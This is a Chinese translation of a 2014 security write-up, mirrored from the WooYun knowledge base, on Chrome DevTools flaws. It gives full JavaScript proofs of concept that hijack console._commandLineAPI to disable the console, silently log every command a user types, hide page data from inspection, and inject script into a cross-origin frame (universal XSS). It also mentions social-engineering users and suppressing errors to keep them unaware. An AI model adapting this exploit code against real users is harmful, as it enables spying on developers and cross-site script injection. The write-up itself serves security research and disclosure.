Google Chrome 開發者工具漏洞利用

wyzsk發表於2020-08-19
作者: mramydnei · 2014/02/27 11:51

原文連結:http://www.hydrantlabs.org/Security/Google/Chrome/

0x00 引言


故事起源於 Chromium 原始碼里名為 InjectedScriptSource.js 的檔案,這個檔案負責控制檯中的命令執行。也許很多人都會這麼說:

【Wait!為什麼是 JavaScript 在負責命令執行,Chromium/Chrome 不是用 C++編寫的麼?】

沒錯.Chromium/Chrome 的絕大部分確實不是用 javascript 編寫的,但是 devtools 實際上都是一些網頁。作為簡單的證明,你可以嘗試在瀏覽器裡訪問下面的 URL,可以看到它和console 擁有完全相同的構造。

chrome-devtools://devtools/bundled/devtools.html  

好吧,我承認開始有點跑題了。讓我們回到原來的問題。在檔案InjectedScriptSource.js的624行左右,在名為_evaluateOn的函式里,我們可以看到這樣的一段程式碼:

#!javascript
prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {";
suffix = "}";
// *snip*
expression = prefix + "\n" + expression + "\n" + suffix;

這是個相當重要的函式,因為一些特殊的函式,比如:copy('String to Clip Board') 和 clear()都被加到了這裡。然而這些函式都是類CommandLineAPI的成員。

0x01 漏洞 1


一切都將從這裡變得有趣。因為我有個想法,可以把ECMAScript 5裡的Getters和Setters 利用起來。因為開發者工具總是會在使用者輸入命令時試圖給使用者一些命令補全的建議。透過開發者工具的這個特點,我們就可以使用Getters和Setters來構造一個函式,實現在使用者輸入命令的過程當中就去執行使用者的輸入。這意味著在使用者按下Enter之前命令就已經被執行了。

#!javascript
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  console.log('A command was run');
 }
});

0x02 簡單禁用控制檯訪問


這裡使用的思路和 FaceBook 是差不多的。

#!javascript
Object.defineProperty(console, '_commandLineAPI', {  
get: function () {  
throw 'Console Disabled';  
}  
});  

如同你看到的,我們只要在_commandLineAPI 被檢索時,丟擲異常就可以簡單的禁用控制檯的命令執行。

0x03 引言 II


在開始講解更為有趣的內容之前,我覺得我們有必要先停一下腳步,再來談談JavaScript的話題。讓我們先來看看下面的例子:

#!javascript
function argCounter() {
 console.log('This function was run with ' + arguments.length + ' arguments.');
}
argCounter(); // 0
argCounter('Hello', 'World') // 2
argCounter(1, 2, 4, 8, 16, 32, 64) 

就如大家知道的,這裡的arguments實際上並不是一個陣列,而是一個物件。這也是為什麼很多人會用下面的方法來將物件轉換為傳統的陣列:

#!javascript
var args = Array.prototype.slice.call(arguments)


 其中的一個原因是,object有一些保留欄位,比如:callee。在這裡我們可以給出一個示例:

#!javascript
// Traverse an object looking for the 'World' key value
var traverse = function(obj) {
 // Loop each key
 for (var index in obj) {
  // If another object
  if (typeof obj[index] === 'object') {
   // Recursion yay!
   arguments.callee(obj[index]);
  }
  // If matching
  if (index === 'World') {
   console.log('Found world: ' + obj[index]);
  }
 }
};
// Call traverse on our object
traverse({
 'Nested': {
  'Hello': {
   'World': 'Earth'
  }
 }
});  

我想這方面的內容應該是比較罕見的。但是說到罕見,可能對arguments.callee.caller有所理解的人,相對來說會更少一些吧。它允許指令碼引用呼叫它的函式。可以說它的實際效用並不大,但我還是嘗試著寫了一個例子:

#!javascript
// Print the ID of the caller of this function
function call_Jim() {
 // Get the calling function name without the call_Jim_as part
 return 'Hi ' + arguments.callee.caller.name.substring('call_Jim_as_'.length) + '!'; 
}
// Call Jim as John
function call_Jim_as_John() {
 return call_Jim();
}
// Call Jim as Luke
function call_Jim_as_Luke() {
 return call_Jim();
}
// Test cases
call_Jim_as_John(); // 'Hi John!'
call_Jim_as_Luke(); // 'Hi Luke!'

0x04 漏洞 II


我們的第二個漏洞將會使用之前提到的arguments.callee.caller。當一個沒有父函式的函式在standard context 中被執行時,arguments.callee.calle就會變成null。在這裡有一個有趣的現象。當指令碼在開發者工具的console裡執行的時候,呼叫的函式是在本文開頭說的_evaluate0n函式而並未是所期待的null。如果我們嘗試著在控制檯輸入下面的命令,控制檯就會dump出_evaluateOn函式的原始碼:

#!javascript
(function () {
 return arguments.callee.caller;
})();

也許你會說: 這看上去是挺嚴重的,但是這和第一個漏洞有什麼關係?先不說有什麼關係,就算會把原始碼dump出來又怎樣呢? 現在就讓我們把它和第一個漏洞關聯起來。設想一下如果使用者試圖把下面的程式碼貼上到console裡會發生什麼?

#!javascript
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  console.log(arguments.callee.caller);
 }
});

就如同你所看到的,這段程式碼意味著只要使用者試圖在控制檯中進行任何的輸入,就會把devtools的原始碼dump出來。問題又來了,也許你會問:

那又如何?我完全可以去官網線上閱讀這些原始碼!

我想問題的重點在arguments.callee.caller.arguments.這意味著?對!這意味著我們的一些邪惡的程式碼(來自一些不被信任的站點)可以訪問開發者工具的一些變數和物件,在編寫這個exploit之前我們先看一下,我們可以透過一個簡單的頁面都可以幹一些什麼:

#!javascript
<script>
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  console.log(arguments.callee.caller.arguments[2]);
 }
});
</script>

現在讓我們試著執行alert(1),並觀察結果:

0: function evaluate() { [native code] }
1: InjectedScriptHost
2: "console"
3: "with ((console && console._commandLineAPI) || {}) {↵alert(1)↵}"
4: false
5: true

看一下第二個引數(InjectedScriptHost)。你可以透過這個連結來閱讀更多的細節InjectedScriptExterns.js。把精力集中在其中幾個重要的函式當中。

clearConsoleMessages - 清空控制檯並刪除回溯

InjectedScriptHost.clearConsoleMessages();

functionDetails - 返回函式的相關細節

// Create a function with a bound this
InjectedScriptHost.functionDetails(func);

inspect - 檢查DOM物件,不會切換到inspect tab

// Inspect the body node
InjectedScriptHost.inspect(document.body);

inspectedObject - 從DOM物件檢查歷史中取回物件

// Get the first inspected object
InjectedScriptHost.inspectedObject(0);

0x05 禁用控制檯訪問進階篇


現在讓我們試著寫一個更完善的控制檯訪問禁用指令碼出來。這次我不希望再看到那些讓人噁心的紅色錯誤提示了。讓我們從“當使用者在控制檯輸入命令時會發生一些什麼”開始吧。函式_evaluateOn會透過一些引數:

#!javascript
evalFunction: function evaluate() { [native code] }
object: InjectedScriptHost
objectGroup: 'console'
expression: 'alert(1)'
isEvalOnCallFrame: false
injectCommandLineAPI: true

然後執行下面的程式碼:

#!javascript
var prefix = "";
var suffix = "";
if (injectCommandLineAPI && inspectedWindow.console) {
 inspectedWindow.console._commandLineAPI = new CommandLineAPI(this._commandLineAPIImpl, isEvalOnCallFrame ? object : null);
 prefix = "with ((console && console._commandLineAPI) || { __proto__: null }) {";
 suffix = "}";
}
if (prefix)
 expression = prefix + "\n" + expression + "\n" + suffix;
var result = evalFunction.call(object, expression);

檢視一下evalFunction我們會發現它只是InjectedScriptHost.evaluate。這樣一來,我們似乎是沒有辦法來完成這個任務了。wait!也許我們可以增加一個setter.用下面的程式碼我們就可以達到在不報錯的情況下實現控制檯命令執行的禁用了。

#!javascript
// First run
var run = false;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  // Only run once
  if (!run) {
   run = true;
   // Get the InjectedScriptHost
   var InjectedScriptHost = arguments.callee.caller.arguments[1];
   // On evaluate
   Object.defineProperty(InjectedScriptHost, 'evaluate', {
    get: function () {
     // Return a alternate evaluate function
     return function() {
      return "The console has been disabled";
     }
    }
   });
  }
 }
});

0x06 控制檯日誌記錄


我想你大概猜到之前搞了那麼多,並不只是為了編寫一個不會報錯的指令碼。讓我們來找一些樂子。讓我們編寫一個可以讓命令和預期一樣正常執行並能記錄所有的命令和執行結果的指令碼。這裡是我的POC:

#!javascript
// First run
var run = false;
// Save the command line api
var _commandLineAPI = null;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  // Only run once
  if (!run) {
   run = true;
   // Get the InjectedScriptHost
   var InjectedScriptHost = arguments.callee.caller.arguments[1];
   // On evaluate
   Object.defineProperty(InjectedScriptHost, 'evaluate', {
    get: function () {
     // Return a alternate evaluate function
     return function(command) {
      // Get the commands split
      var commands = command.split("\n");
      // Execute the real evaluate function
      var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments);
      // Ignore suggustion executions for now
      if (commands.length <= 1 || (result && result.name === 'getCompletions')) {
       return result;
      }
      // Remove the first "with..." and last "}" lines
      command = commands.slice(1, -1).join("\n");
      // Next step to ignore suggustion checks
      if (command.trim() === 'this') {
       return result;
      }
      // Log the command and result (tries to lazily parse to a string for now)
      document.write("Attempted Command:<br /><pre>" + command + "</pre>");
      document.write("Command Result:<br /><pre>" + result + "</pre><hr />");
      // Return the result
      return result;
     }
    }
   });
  }
  // Return the actual command line api
  return _commandLineAPI;
 },
 set: function(value) {
  // Copy the value
  _commandLineAPI = value;
 }
});

0x07 控制檯檢查


記錄控制檯命令確實挺有趣的。但是讓我們看看能不能不透過檢視原始碼的方式來訪問變數(這個方法還並不完美,但是可以讓你理解我們可以做到一些什麼)

#!javascript
// Add our secret key and value
window.secret = 'Top secret key here';
// First run
var run = false;
// Save the command line api
var _commandLineAPI = null;
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  // Only run once
  if (!run) {
   run = true;
   // Get the InjectedScriptHost
   var InjectedScriptHost = arguments.callee.caller.arguments[1];
   // On evaluate
   Object.defineProperty(InjectedScriptHost, 'evaluate', {
    get: function () {
     // Return a alternate evaluate function
     return function(command) {
      // Execute the real evaluate function
      var result = InjectedScriptHost.__proto__.evaluate.apply(this, arguments);
      // When the command was a attempt to access the completions
      if (result && result.name === 'getCompletions') {
       // Return a new completions function
       return function() {
        // Get the completions
        var completions = result.apply(this, arguments);
        // Remove the secret completion
        delete completions.secret;
        // Return the modified values
        return completions;
       }
      }
      // If the result is our secret value
      if (result === window.secret) {
       return undefined;
      }
      // Return the result
      return result;
     }
    }
   });
  }
  // Return the actual command line api
  return _commandLineAPI;
 },
 set: function(value) {
  // Copy the value
  _commandLineAPI = value;
 }
});

0x08 通用的跨站指令碼攻擊


現在讓我們來討論一下這個已經被修復的漏洞。這個漏洞可以在一些使用者互動的基礎上將惡意站點的A內的指令碼或頁面植入到站點B當中。它的工作原理很簡單。當使用者審查元素時,它會被加入到歷史陣列裡。使用者可以透過console.$0來訪問它。但是遺憾的是,如果它已經透過別的域名被執行,我們就無法訪問它。如果想要真正的利用這個exploit,我們至少需要使用者右鍵點選這個iframe,開啟控制檯並輸入命令。

我想會有很多社工性質的方法可以讓我們去引導使用者去完成這一系列的操作。當然我個人認為最有效的方法就是什麼都不要去做,而是等待開發者自己攻擊自己。我也做了一個POC來證明,這一切的可行性。如果完成上述的操作要求來,不出意外alert(document.domain)應該會被執行。

#!javascript
// On console command run
Object.defineProperty(console, '_commandLineAPI', {
 get: function () {
  // Save a reference to the InjectedScriptHost globally
  window.InjectedScriptHost = arguments.callee.caller.arguments[1];
  // Get the injectedScript object
  window.injectedScript = InjectedScriptHost.functionDetails(arguments.callee.caller.arguments.callee).rawScopes[0].object.injectedScript;
  // Trigger another inspect (not sure why this helps but it does)
  injectedScript._inspect(document.getElementById('hacks'));
  // Keep checking if an element has been inspected every 10th of a second
  var check = function() {
   // Hide any errors on the console to keep people unaware
   try {
    // Get the first inspected object
    var el = injectedScript._commandLineAPIImpl._inspectedObject(1);
    // Loop until no more parents
    while (el.parentNode) { el = el.parentNode; }
    // If the element is not the current page
    if (el.URL !== window.location.href) {
     // Stop checking
     clearInterval(check);
     // Create the script element
     var script = document.createElement('script');
     script.type = 'text/javascript';
     script.innerHTML = "alert(document.domain)";
     // Add the script to the frame
     el.getElementsByTagName('head')[0].appendChild(script);
    }
   } catch (e) {}
  };
  // Return the orginal evaluate function
  return InjectedScriptHost.__proto__.evaluate;
 }
});

就如我之前說的那樣,[email protected]個漏洞或者補丁感興趣,可以點選這裡here.

0x09 最後


也許你應該留意一下InjectedScriptHost.functionDetails的用法。因為它是很強大的函式。這裡是個比較常見的使用例 :

#!javascript
// Add another scope
with ({
 'test': true
}) {
 var func = function() {}
}
// Log the details
console.log(InjectedScriptHost.functionDetails(func));

上面的命令將會返回如下的結果:

{
 location: {
  columnNumber: 14,
  lineNumber: 4,
  scriptId: "1262"
 },
 name: "func",
 rawScopes: [
  {
   object: {
    test: true
   },
   type: 2
  }, {
   object: { },
   type: 2
  }, {
   object: [object Window],
   type: 3
  }
 ]
}

就如同你看到的它是一支強大的潛力股,尤其是它被應用到一些內部函式時。舉個例子,如果我們把它應用到_evaluateOn函式上,我們將得到如下的結果:

{
 inferredName: "InjectedScript._evaluateOn",
 location: {
  columnNumber: 25,
  lineNumber: 591,
  scriptId: "1417"
 },
 rawScopes: [
  {
   object: {
    CommandLineAPI: function CommandLineAPI(commandLineAPIImpl, callFrame)
    InjectedScript: function ()
    InjectedScriptHost: InjectedScriptHost
    Object: function Object() { [native code] }
    bind: function bind(func, thisObject, var_args)
    injectedScript: InjectedScript
    injectedScriptId: 58
    inspectedWindow: Window
    slice: function slice(array, index)
    toString: function toString(obj)
   },
   type: 3
  }, {
   object: [object Window],
   type: 0
  }
 ]
}

我寫了一個函式,可以幫助我們快速發現和列出一些具有潛在價值的函式(作用域非當前視窗)

#!javascript
// Run via console as `listScopes();`
function listScopes() {
 // Total results
 var results = 0;
 // Ignore these because they are cyclical
 var cyclical = [
  'window.top',
  'window.window',
  'window.clientInformation.mimeTypes',
  'window.clientInformation.plugins',
  'window.console._commandLineAPI.$_',
  'func[0].object.inspectedWindow',
  'func[1].object'
 ];
 // Element that have been chacked already
 var checked = [];
 // Save a reference to the InjectedScriptHost globally
 var InjectedScriptHost = arguments.callee.caller.arguments[1];
 // Get the scope of a function
 window.scope = function(func, i) {
  return InjectedScriptHost.functionDetails(func).rawScopes[i].object;
 }
 // Check the scopes of an object
 function checkScopes(current_name, obj) {
  // Loop each key
  for (var index in obj) {
   // If the var has not been checked
   if (checked.indexOf(obj[index]) === -1) {
    checked.push(obj[index]);
    var name = current_name;
    if (isNaN(index)) {
     name = name + '.' + index;
    } else {
     name = name + '[' + index + ']';
    }
    // If not cyclical
    if (cyclical.indexOf(name) === -1) {
     // If an array or object
     if (typeof obj[index] === 'object') {
      // Yay recursion
      checkScopes(name, obj[index]);
     }
    }
    if (typeof obj[index] === 'function') {
     // Get the scopes
     var scopes = InjectedScriptHost.functionDetails(obj[index]).rawScopes;
     // Don't index our scopes function
     if (obj[index] !== window.scope) {
      // Loop each scope
      for (var i in scopes) {
       // If it's not a window
       if (InjectedScriptHost.internalConstructorName(scopes[i].object) !== 'Window') {
        name = 'scope(' + name + ', ' + i + ')';
        // Add the path
        console.log(name);
        results++;
        // Recursion again
        checkScopes(name, scopes[i].object);
       }
      }
     }
    }
   }
  }
 }
 // Check all known objects
 checkScopes('window', window);
 window.args = arguments.callee.caller.arguments;
 checkScopes('args', args);
 window.func = InjectedScriptHost.functionDetails(arguments.callee.caller).rawScopes;
 checkScopes('func', func);
 // Return
 return "Searching finished, found " + results + " results.";
};

你可以透過 listScopes() 來在控制檯執行它。也許還有一些BUG需要在日後解決。但是我覺得這依然是個不錯的方法。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章